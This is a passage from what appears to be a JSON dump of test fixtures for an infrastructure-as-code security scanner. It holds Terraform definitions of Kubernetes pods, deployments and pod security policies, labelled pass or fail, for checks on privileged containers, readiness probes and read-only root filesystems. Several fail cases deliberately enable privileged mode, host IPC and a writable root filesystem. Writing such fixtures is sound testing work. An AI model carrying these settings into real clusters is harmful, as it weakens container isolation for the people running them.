[\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_PrivilegedContainersPSP/psp.tf",
    "content": "# fails\n# CKV_K8S_3\nresource \"kubernetes_pod_security_policy\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = true\n    allow_privilege_escalation = false\n    host_ipc                   = true\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\nresource \"kubernetes_pod_security_policy\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = false\n    allow_privilege_escalation = false\n    host_ipc                   = true\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\nresource \"kubernetes_pod_security_policy\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    allow_privilege_escalation = false\n    host_ipc                   = true\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_ReadinessProbe/main.tf",
    "content": "\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n\n      readiness_probe {\n        failure_threshold = 3\n        http_get {\n          path = \"/health\"\n          port = \"10254\"\n          scheme = \"http\"\n        }\n        period_seconds = 10\n        success_threshold = 1\n        timeout_seconds = 10\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n\n      readiness_probe {\n        failure_threshold = 3\n        http_get {\n          path = \"/health\"\n          port = \"10254\"\n          scheme = \"http\"\n        }\n        period_seconds = 10\n        success_threshold = 1\n        timeout_seconds = 10\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n\n          readiness_probe {\n            failure_threshold = 3\n            http_get {\n              path   = \"/health\"\n              port   = \"10254\"\n              scheme = \"http\"\n            }\n            period_seconds    = 10\n            success_threshold = 1\n            timeout_seconds   = 10\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n\n          readiness_probe {\n            failure_threshold = 3\n            http_get {\n              path   = \"/health\"\n              port   = \"10254\"\n              scheme = \"http\"\n            }\n            period_seconds    = 10\n            success_threshold = 1\n            timeout_seconds   = 10\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_ReadinessProbe/main3.tf",
    "content": "resource \"kubernetes_pod\" \"examplePod\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    automount_service_account_token = true\n    security_context{\n    }\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"examplePod\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    automount_service_account_token = true\n    security_context{\n    }\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment\" \"examplePod\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        automount_service_account_token = true\n        security_context {\n        }\n        selector {\n          match_labels = {\n            test = \"MyExampleApp\"\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"examplePod\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        automount_service_account_token = true\n        security_context {\n        }\n        selector {\n          match_labels = {\n            test = \"MyExampleApp\"\n          }\n        }\n      }\n    }\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_ReadonlyRootFilesystem/main.tf",
    "content": "\nresource \"kubernetes_pod\" \"fail_container\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container = [\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n      ,\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22222\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ]\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"fail_container\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container = [\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ,\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22222\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ]\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"fail_container\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container = [\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          },\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22222\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          }\n        ]\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail_container\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container = [\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          },\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22222\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          }\n        ]\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#missing\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#missing\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#missing\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#false\nresource \"kubernetes_pod\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n        read_only_root_filesystem = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#false\nresource \"kubernetes_pod_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n        read_only_root_filesystem = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#false\nresource \"kubernetes_deployment\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            privileged                = false\n            read_only_root_filesystem = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value 